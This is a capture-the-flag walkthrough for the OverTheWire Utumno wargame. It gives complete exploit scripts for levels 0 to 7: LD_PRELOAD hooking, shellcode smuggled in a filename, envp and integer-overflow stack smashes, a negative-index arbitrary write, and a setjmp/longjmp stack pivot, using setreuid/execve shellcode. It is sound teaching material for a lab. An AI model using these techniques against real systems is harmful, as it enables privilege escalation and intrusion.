utumno.labs.overthewire.org 2227
Utumno: 10 levels (0-9). Harder than Behemoth — creative exploitation: LD_PRELOAD hooking, argv/envp manipulation, integer overflows, negative index writes, setjmp/longjmp interference with pointer mangling.
Each user gets /tmp/utumno<N>/ for temp files.
SSH InformationHost: utumno.labs.overthewire.orgPort: 2227User: utumno0Passwords: /etc/utumno_pass/Binaries: /utumno/level 0 → level 1
Initial password: utumno0
Level 0: The binary is exec-only (no read permission). Calls puts() with the password string embedded in .rodata. Use LD_PRELOAD to hook puts() and dump the binary’s data section from within the process:
utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -Wall -shared -fPIC -ldl -m32 -o hook32.so ld-preload-hooks.c -DENABLE_ALLutumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook32.so /utumno/utumno0[LD_PRELOAD hook loaded] enabled: ALL[HOOK puts] 'Read me! :P'Read me! :Putumno0@utumno:/tmp/tmp.1hNZplWoeJ$ vim hook-memdump.cutumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -m32 -shared -fPIC -o hook-memdump.so hook-memdump.cutumno0@utumno:/tmp/tmp.1hNZplWoeJ$ LD_PRELOAD=./hook-memdump.so /utumno/utumno0x.so.2_usedrt_main_2.0on_start__: **********# ...you can get the hook script from my scripts repo
ctf-tool
or use this script
// gcc -m32 -fPIC -shared preload.c -o preload.so#include <stdio.h>int puts(const char *str) { const unsigned char *p = (const unsigned char *)0x0804a000; for (int i = 0; i < 0x1000; i += 16) { int ok = 1; for (int j = 0; j < 16 && p[i+j]; j++) if (p[i+j] < 0x20 || p[i+j] > 0x7e) ok = 0; if (ok) fprintf(stderr, "%s\n", p+i); } return 0;}$ gcc -m32 -fPIC -shared preload.c -o preload.so$ LD_PRELOAD=./preload.so /utumno/utumno0 2>&1The password sits at 0x0804a010 in the binary’s data section as a literal string.
[credential redacted]
level 1 → level 2
Level 1: Binary reads filenames from a directory and executes the part after sh_ as raw machine code.
Binary logic:
- Check argv[1] != NULL, else exit(1)
- mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → RWX region
- opendir(argv[1]), loop readdir()
- For each entry: strncmp(dname, “sh”, 3) == 0 → match
- run(d_name + 3) → chdir(argv[1]), copy shellcode to RWX region, jmp there
So the shellcode IS the filename (after “sh_”). Constraints:
- No null bytes (strcpy stops at \0)
- No
/(0x2f) — path separator, kernel rejects it in the filename - Max 252 bytes (Linux filename limit for “sh_”)
r2 -A -q -c "pdf @ sym.main" /utumno/utumno1┌ 173: int dbg.main (char **envp);│ `- args(sp[0x8..0x10]) vars(4:sp[0x0..0xc])│ 0x0804921b 55 push ebp ; utumno1.c:40:1 ; int main(int argc,char ** argv);│ 0x0804921c 89e5 mov ebp, esp│ 0x0804921e 83ec08 sub esp, 8│ 0x08049221 8b450c mov eax, dword [envp] ; utumno1.c:44:14│ 0x08049224 83c004 add eax, 4│ 0x08049227 8b00 mov eax, dword [eax]│ 0x08049229 85c0 test eax, eax ; utumno1.c:44:8│ ┌─< 0x0804922b 7507 jne 0x8049234│ │ 0x0804922d 6a01 push 1 ; utumno1.c:46:9 ; 1 ; int status│ │ 0x0804922f e81cfeffff call sym.imp.exit ; void exit(int status)│ │ ; CODE XREF from dbg.main @ 0x804922b(x)│ └─> 0x08049234 6a00 push 0 ; utumno1.c:49:11│ 0x08049236 6aff push 0xffffffffffffffff│ 0x08049238 6a22 push 0x22 ; '\"' ; 34│ 0x0804923a 6a07 push 7 ; 7│ 0x0804923c 6800100000 push 0x1000│ 0x08049241 6a00 push 038 collapsed lines
│ 0x08049243 e818feffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)│ 0x08049248 83c418 add esp, 0x18│ 0x0804924b a32cb20408 mov dword [obj.rwx], eax ; utumno1.c:49:9 ; [0x804b22c:4]=0│ 0x08049250 a12cb20408 mov eax, dword [obj.rwx] ; utumno1.c:50:9 ; [0x804b22c:4]=0│ 0x08049255 85c0 test eax, eax ; utumno1.c:50:8│ ┌─< 0x08049257 7507 jne 0x8049260│ │ 0x08049259 6a02 push 2 ; utumno1.c:51:9 ; 2 ; int status│ │ 0x0804925b e8f0fdffff call sym.imp.exit ; void exit(int status)│ │ ; CODE XREF from dbg.main @ 0x8049257(x)│ └─> 0x08049260 8b450c mov eax, dword [envp] ; utumno1.c:53:22│ 0x08049263 83c004 add eax, 4│ 0x08049266 8b00 mov eax, dword [eax] ; utumno1.c:53:10│ 0x08049268 50 push eax│ 0x08049269 e832feffff call sym.imp.opendir│ 0x0804926e 83c404 add esp, 4│ 0x08049271 8945f8 mov dword [var_8h], eax│ 0x08049274 837df800 cmp dword [var_8h], 0 ; utumno1.c:54:8│ ┌─< 0x08049278 7533 jne 0x80492ad│ │ 0x0804927a 6a01 push 1 ; utumno1.c:56:9 ; 1 ; int status│ │ 0x0804927c e8cffdffff call sym.imp.exit ; void exit(int status)│ │ ; CODE XREF from dbg.main @ 0x80492bf(x)│ ┌──> 0x08049281 8b45fc mov eax, dword [s2] ; utumno1.c:61:30│ ╎│ 0x08049284 83c00b add eax, 0xb ; 11│ ╎│ 0x08049287 6a03 push 3 ; utumno1.c:61:13 ; 3 ; size_t n│ ╎│ 0x08049289 50 push eax ; const char *s2│ ╎│ 0x0804928a 6808a00408 push 0x804a008 ; const char *s1│ ╎│ 0x0804928f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)│ ╎│ 0x08049294 83c40c add esp, 0xc│ ╎│ 0x08049297 85c0 test eax, eax ; utumno1.c:61:12│ ┌───< 0x08049299 7512 jne 0x80492ad│ │╎│ 0x0804929b 8b45fc mov eax, dword [s2] ; utumno1.c:63:17│ │╎│ 0x0804929e 83c00b add eax, 0xb ; 11│ │╎│ 0x080492a1 83c003 add eax, 3 ; utumno1.c:63:13│ │╎│ 0x080492a4 50 push eax ; int32_t arg_8h│ │╎│ 0x080492a5 e81cffffff call dbg.run│ │╎│ 0x080492aa 83c404 add esp, 4│ │╎│ ; CODE XREFS from dbg.main @ 0x8049278(x), 0x8049299(x)│ └─└─> 0x080492ad ff75f8 push dword [var_8h] ; utumno1.c:59:18│ ╎ 0x080492b0 e8cbfdffff call sym.imp.readdir│ ╎ 0x080492b5 83c404 add esp, 4│ ╎ 0x080492b8 8945fc mov dword [s2], eax│ ╎ 0x080492bb 837dfc00 cmp dword [s2], 0 ; utumno1.c:59:31│ └──< 0x080492bf 75c0 jne 0x8049281│ 0x080492c1 b800000000 mov eax, 0 ; utumno1.c:67:12│ 0x080492c6 c9 leave ; utumno1.c:68:1└ 0x080492c7 c3 ret# Build the shellcode, verify it has no nulls or /$ python3 -c "from pwn import *; context.arch='i386'sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')import sys; sys.stdout.buffer.write(sc)" | xxd | head -1# Should show no 00 or 2f bytes
# Set up the directory: symlink to /bin/sh, shellcode as filename$ mkdir /tmp/x$ ln -sf /bin/sh /tmp/x/code$ python3 -c "import sys, os; from pwn import *; context.arch='i386'sc = asm('xor eax,eax; xor ebx,ebx; mov bx,0x3e82; xor ecx,ecx; mov cx,0x3e82; mov al,71; int 0x80; xor eax,eax; push eax; push 0x65646f63; mov ebx,esp; push eax; mov edx,esp; push ebx; mov ecx,esp; mov al,11; int 0x80')# Create file with raw shellcode bytes as filename (must be bytes path)fd = os.open(b'/tmp/x/sh_' + sc, os.O_CREAT | os.O_WRONLY); os.close(fd)"$ /utumno/utumno1 /tmp/x$ cat /etc/utumno_pass/utumno2The shellcode does setreuid(16002,16002) (utumno2 UID = 0x3e82) then execve("code", ["code"], NULL) where “code” is a symlink to /bin/sh. The binary’s run() calls chdir(argv[1]) before executing the shellcode, so the relative path “code” resolves correctly under /tmp/x/.
[credential redacted]
level 2 → level 3
Level 2: Binary checks argc == 0 then does strcpy(local_buf, envp[9]). Need argc == 0 via execve(path, NULL, envp). The 10th envp entry (envp[9]) overflows the 12-byte buffer, overwriting saved EBP and return address. Put NOP sled + shellcode in an earlier envp entry and point the return address there.
Write a Python script using pwntools + ctypes to call execve() with crafted envp:
#!/usr/bin/env python3from pwn import *import ctypes
context.arch = 'i386'
shellcode = asm(""" xor eax, eax xor ebx, ebx mov bx, 0x3e83 /* utumno3 UID */ xor ecx, ecx mov cx, 0x3e83 mov al, 71 /* setreuid */ int 0x80 xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax13 collapsed lines
mov edx, esp push ebx mov ecx, esp mov al, 11 /* execve */ int 0x80""")
nop_sled_len = 52payload = b'\x90' * nop_sled_len + shellcode
# Find NOP address with GDB first!# On gibson-1 with clean env: 0xffffdfb0 (52 NOPs before shellcode)ret_addr = 0xffffdfb0overflow = b'A' * 16 + p32(ret_addr)
# Build envp via ctypes (to get argc=0, pass NULL argv)libc = ctypes.CDLL(None)envp_entries = [b''] * 8 + [payload, overflow, None]envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)
libc.execve(b'/utumno/utumno2', None, envp_arr)envp layout:
- indices 0-7: empty strings (filler)
- index 8:
NOP×52 + shellcode(return address points here) - index 9:
"AAAA×4" + p32(ret_addr)— overflow data, strcpy’d into buffer
Find the NOP sled address in GDB, update ret_addr, then run:
$ python3 exploit.py$ id$ cat /etc/utumno_pass/utumno3[credential redacted]
level 3 → level 4
Level 3: Byte-by-byte return address overwrite. Binary reads pairs of bytes (position, value) via getchar() in a loop. The position byte is XOR’d with (iteration * 3) before being used as an offset from [ebp - 0x24] (or [ebp - 0x20] on the current binary version — check the offset with GDB). Need to compute position bytes that target EIP after the XOR transform.
The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of the return address, then fill remaining slots with harmless writes.
Shellcode goes in EGG environment variable with a NOP sled. Find the sled address with GDB.
#!/usr/bin/env python3from pwn import *import structimport osimport subprocess
context.arch = 'i386'
shellcode = asm(""" xor eax, eax xor ebx, ebx mov bx, 0x3e84 /* utumno4 UID */ xor ecx, ecx mov cx, 0x3e84 mov al, 71 /* setreuid */ int 0x80 xor eax, eax push eax push 0x68732f2f push 0x6e69622f28 collapsed lines
mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 /* execve */ int 0x80""")
# Find NOP address in EGG env var with GDB first!# On gibson-1 with clean env: NOP sled at ~0xffffde00NOP_ADDR = 0xffffde00
# Position bytes: write at [ebp - 0x20] + (P XOR (i*3))# Target EIP at ebp+4, so need offset = 0x24 from base# P XOR (i*3) = 0x24 → P = 0x24 XOR (i*3)target = struct.pack('<I', NOP_ADDR)payload = bytes([ 0x24, target[0], # i=0: 0x24 XOR 0 = 0x24 0x27, target[1], # i=1: 0x24 XOR 3 = 0x27 0x22, target[2], # i=2: 0x24 XOR 6 = 0x22 0x2d, target[3], # i=3: 0x24 XOR 9 = 0x2d])
# Fill remaining iterations with writes to saved EBP (harmless)for j in range(4, 24): p_val = (0x20) ^ (j * 3) # writes to ebp + 0 payload += bytes([p_val & 0xff, 0x41])
# Commands for the spawned shell (read from remaining stdin)payload += b'id\ncat /etc/utumno_pass/utumno4\nexit\n'
# Launch binary with EGG env var containing NOP sled + shellcodeenv = os.environ.copy()env['EGG'] = b'\x90' * 500 + shellcodesubprocess.run(['./utumno/utumno3'], input=payload, env=env)$ python3 exploit.py[credential redacted]
level 4 → level 5
Level 4: Integer overflow in memcpy(). Arg1 is converted with atoi(), checked as 16-bit ≤ 63, but the actual memcpy size uses the full 32-bit value. Pass 65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but memcpy copies 65536 bytes.
Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer itself (second argument), with return address pointing into the NOP sled.
#!/usr/bin/env python3from pwn import *import structimport osimport subprocess
context.arch = 'i386'
shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno5'))
# Second argument: NOP + shellcode + padding + ret addrOFFSET = 65286payload = b'\x90' * 500payload += shellcodepayload += b'\x90' * (OFFSET - len(payload))
# NOP address (find with GDB; 0xfffddd2a on gibson-1)NOP_ADDR = 0xfffddd2apayload += struct.pack('<I', NOP_ADDR)# Pad to fill 65536 bytes (matches the overflow size via arg1)payload += b'\x90' * (65536 - len(payload))
# Pass payload as argv[2] directly (no shell byte-corruption)subprocess.run(['/utumno/utumno4', '65536', payload])$ python3 exploit.py[credential redacted]
level 5 → level 6
Level 5: Requires argc == 0 (or argc == 1 with argv[0][0] == 0). Accesses argv[10] which equals envp[9] (since argv[0]=NULL for argc=0). The hihi() function does strlen(envp[9]); if > 19 chars, uses strncpy(buf, envp[9], 20) overwriting 12-byte buffer + saved EBP + return address. Shellcode goes in envp[8].
Critical: On this server, execve(path, NULL, envp) sets argc=1 with argv[0]="". So argv[10] = envp[8], not envp[9]. Need to swap: envp[8] = overflow data, envp[9] = shellcode with NOP sled.
#!/usr/bin/env python3from pwn import *import ctypes
context.arch = 'i386'
shellcode = asm(shellcraft.cat('/etc/utumno_pass/utumno6'))nop_sled = b'\x90' * 100 + shellcode
# overflow: strncpy copies 20 bytes max# 0-11: fills 12-byte buffer# 12-15: overwrites saved EBP# 16-19: overwrites return address -> NOP sledNOP_ADDR = 0xffffdf44 # find NOP address in envp[9] with GDBoverflow = b'A' * 12 + b'B' * 4 + p32(NOP_ADDR)
# Build envp: argv[10] = envp[8] on this server (argc=1, argv[0]="")envp_entries = [b''] * 8 + [overflow, nop_sled, None]envp_arr = (ctypes.c_char_p * len(envp_entries))(*envp_entries)
libc = ctypes.CDLL(None)libc.execve(b'/utumno/utumno5', None, envp_arr)$ python3 exploit.py[credential redacted]
level 6 → level 7
Level 6: Table-based key-value store with 3 args: position (base10), value (base16), description (string). A write at [ebp + pos*4 - 0x30] with position = -1 overwrites the malloc pointer at [ebp - 0x34]. Then strcpy(corrupted_malloc_ptr, argv[3]) copies description to the overwritten address — a controlled write to anywhere.
Attack: Position -1 overwrites the malloc pointer at [ebp - 0x34] with the return address as an integer. Then strcpy(corrupted_ptr, argv[3]) copies the packed shellcode address to the return slot — hijacking EIP.
Write primitive chain:
[ebp - 0x34] = ret_addrvia the table write (pos=-1, value=0xffffda9c)strcpy(0xffffda9c, argv[3])— writes 4 bytes of packed NOP address to the return slot- Function returns → EIP = NOP sled in EGG → shellcode
#!/usr/bin/env python3from ctypes import *from pwn import *; context.arch='i386'import struct
libc = CDLL('libc.so.6')
# Build EGG: NOP sled + null-free shellcode(same to use cat)sc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno7']))egg = b'\x90' * 300 + sc
# Find these on the server via GDB (varies per environment):# EBP ≈ 0xffffda98 → RET at 0xffffda9c# NOP sled in EGG ≈ 0xffffddb0ret_addr_loc = 0xffffda9c # write target: return slotnop_addr = 0xffffddb0 # shellcode landing zone in EGG
argv = (c_char_p * 4)()argv[0] = b'/utumno/utumno6'argv[1] = b'-1'argv[2] = f'{ret_addr_loc:#x}'.encode() # overwrite malloc ptr → ret addrargv[3] = struct.pack('<I', nop_addr) # strcpy'd to ret slot
envp = (c_char_p * 2)()envp[0] = eggenvp[1] = None
libc.execve(b'/utumno/utumno6', argv, envp)Address finding: Use GDB on the server to get EBP and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from extra env vars GDB adds). Run the exploit directly (not in GDB) with addresses found via GDB + known offset.
[credential redacted]
level 7 → utumno8
Level 7: Stack BOF with setjmp/longjmp. Binary allocates a 288-byte buffer at [ebp-0x120], a jmp_buf at [ebp-0xa0] (128 bytes into buffer), calls _setjmp, strcpy from argv[1], then longjmp.
glibc 2.39 PTR_MANGLE: longjmp uses pointer mangling on ESP and EIP (XOR with thread-local secret + rotate left 9). Only EBP is stored/restored raw. Direct EIP overwrite via jmp_buf doesn’t work.
Strategy: Overwrite jmp_buf[3] (EBP, NOT mangled) at buffer offset 140 with the buffer address. After longjmp restores EBP = buffer_addr, the leave; ret sequence at vuln+84 pivots there.
Payload (144 bytes, null at byte 144 preserves mangled ESP/EIP):
buf[0-3]: junk (popped into EBP by leave)buf[4-7]: buf_addr + 8 (popped into EIP by ret)buf[8-127]: shellcode + NOP padding (pwntools generates ~90 bytes)buf[128-131]: EBX (any)buf[132-135]: ESI (any)buf[136-139]: EDI (any)buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)null at 144Two critical details:
- Null-free shellcode: The shellcode must NOT contain null bytes (strcpy stops at the first null). Use
mov bl, val; mov bh, valinstead ofmov ebx, val32which embeds nulls in the high bytes. - Avoid /bin/sh: Dash drops EUID to RUID on startup (privilege sanitization). Use
execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL)instead — no shell, no privilege drop. - Buffer address finding: Since
randomize_va_space=0but GDB subtly shifts the stack, use a test shellcode (exit(42)) to brute-force the address. On gibson-1 with full SSH environment, buffer =0xffffda2c.
Exploit script (exploit.py):
#!/usr/bin/env python3import os, sys, structfrom pwn import *; context.arch='i386'
buf_addr = int(sys.argv[1], 16) if len(sys.argv) > 1 else 0xffffda2c
# Build payload (145 bytes, null at byte 144 preserves mangled ESP/EIP)payload = bytearray(145)# buf[0-3]: junk (popped into EBP by leave)payload[0:4] = struct.pack('<I', 0x41414141)# buf[4-7]: buf_addr + 8 (popped into EIP by ret)payload[4:8] = struct.pack('<I', buf_addr + 8)# buf[8-127]: null-free shellcode + NOP paddingsc = asm(shellcraft.execve('/bin/cat', ['/bin/cat', '/etc/utumno_pass/utumno8']))payload[8:8+len(sc)] = scfor i in range(8 + len(sc), 128): payload[i] = 0x90# buf[128-131]: EBX (any)payload[128:132] = struct.pack('<I', 0x42424242)# buf[132-135]: ESI (any)payload[132:136] = struct.pack('<I', 0x43434343)# buf[136-139]: EDI (any)payload[136:140] = struct.pack('<I', 0x44444444)# buf[140-143]: buf_addr (jmp_buf.EBP → stack pivot)payload[140:144] = struct.pack('<I', buf_addr)# byte 144 = 0 (strcpy stop → preserves mangled ESP/EIP)payload[144] = 0
os.execve('/utumno/utumno7', ['/utumno/utumno7', bytes(payload)], os.environ)$ python3 exploit.py ffffda2c[credential redacted]